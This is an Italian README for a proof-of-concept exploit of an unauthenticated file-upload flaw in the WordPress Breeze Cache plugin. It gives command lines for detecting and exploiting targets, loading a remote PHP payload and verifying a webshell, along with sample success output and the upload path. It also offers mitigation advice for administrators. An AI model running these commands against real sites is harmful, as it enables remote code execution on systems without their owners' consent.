CVE-2026-3844 — WordPress Breeze Cache Upload File Non Autenticato

Panoramica

Questo repository contiene uno script proof-of-concept (PoC) in Python per dimostrare una vulnerabilità di Upload File Arbitrario Non Autenticato che interessa il plugin WordPress Breeze Cache <= 2.4.4.

⚠️ Questo progetto è destinato esclusivamente a test di sicurezza autorizzati, ricerca educativa e validazione difensiva.

Informazioni sulla Vulnerabilità

ID CVE: CVE-2026-3844
Plugin Interessato: Breeze Cache per WordPress
Versioni Interessate: <= 2.4.4
Tipo di Problema: Upload File Arbitrario Non Autenticato
Impatto: Potenziale Esecuzione di Codice Remoto (RCE)
Vettore di Attacco: Remoto / Non Autenticato

La vulnerabilità sfrutta la funzionalità di caching dei gravatar di Breeze Cache per memorizzare file controllati dall'attaccante all'interno della directory di cache di WordPress.

Caratteristiche

Modalità di rilevamento della vulnerabilità
Flusso di sfruttamento automatizzato
Supporto per la verifica di webshell
Output terminale a colori
Caricamento di payload remoto
Controlli di verifica dell'upload
Registrazione opzionale dell'output

Requisiti

Python 3.8+
pycurl
termcolor

Installa le dipendenze:

pip install pycurl termcolor

File

File	Descrizione
`CVE-2026-3844.py`	Script PoC principale
`CVE-2026-3844.yaml`	Template/configurazione YAML

Utilizzo

Verifica se il Target Sembra Vulnerabile

python3 CVE-2026-3844.py -u http://target.com --check-only

Esegui l'Exploit

python3 CVE-2026-3844.py -u http://target.com

Payload Personalizzato

python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php

Salva i Risultati

python3 CVE-2026-3844.py -u http://target.com -o results.txt

Come Funziona

Lo script esegue i seguenti passaggi:

Rileva la versione di Breeze Cache installata
Verifica se la versione del plugin è vulnerabile
Invia una richiesta di commento WordPress appositamente costruita
Sfrutta la gestione dei gravatar della cache di Breeze
Attende la generazione della cache
Verifica se il file caricato diventa accessibile
Testa la reattività del payload

Percorso Vulnerabile

Il payload caricato potrebbe diventare accessibile da:

/wp-content/cache/breeze-extra/gravatars/

Note

Il successo dello sfruttamento potrebbe dipendere dalla seguente impostazione di Breeze abilitata:

Host Files Locally - Gravatars

Se la funzionalità è disabilitata, i tentativi di sfruttamento potrebbero fallire.

Esempio di Output

[+] Target VULNERABLE (Breeze v2.4.4)
[+] Comment posted successfully
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

Disclaimer

Questo repository è fornito per:

Ricerca sulla sicurezza
Scopi educativi
Test di penetrazione autorizzati
Valutazioni di sicurezza difensive

Non utilizzare questo progetto contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare.

L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo progetto.

Raccomandazioni di Mitigazione

Gli amministratori di siti web dovrebbero:

Aggiornare Breeze Cache all'ultima versione patchata
Disabilitare le funzionalità di caching dei file non necessarie
Limitare gli upload di file pericolosi
Disabilitare l'esecuzione di PHP all'interno delle directory di cache
Monitorare /wp-content/cache/ per file sospetti
Implementare un Web Application Firewall (WAF)
Applicare una rigorosa validazione lato server

Dichiarazione sullo Scopo Educativo

Questo proof-of-concept è stato creato per aiutare:

Ricercatori di sicurezza
Penetration tester
Blue team
Amministratori WordPress
Sviluppatori

a comprendere i rischi per la sicurezza associati a meccanismi di caching non sicuri e upload di file arbitrari.

Riferimenti

Database CVE
Advisory di Sicurezza WordPress
Linee Guida OWASP per la Sicurezza degli Upload di File
Documentazione del Plugin Breeze Cache

Autore

Progetto di Ricerca sulla Sicurezza / Educativo

CVE-2026-3844

Più Popolari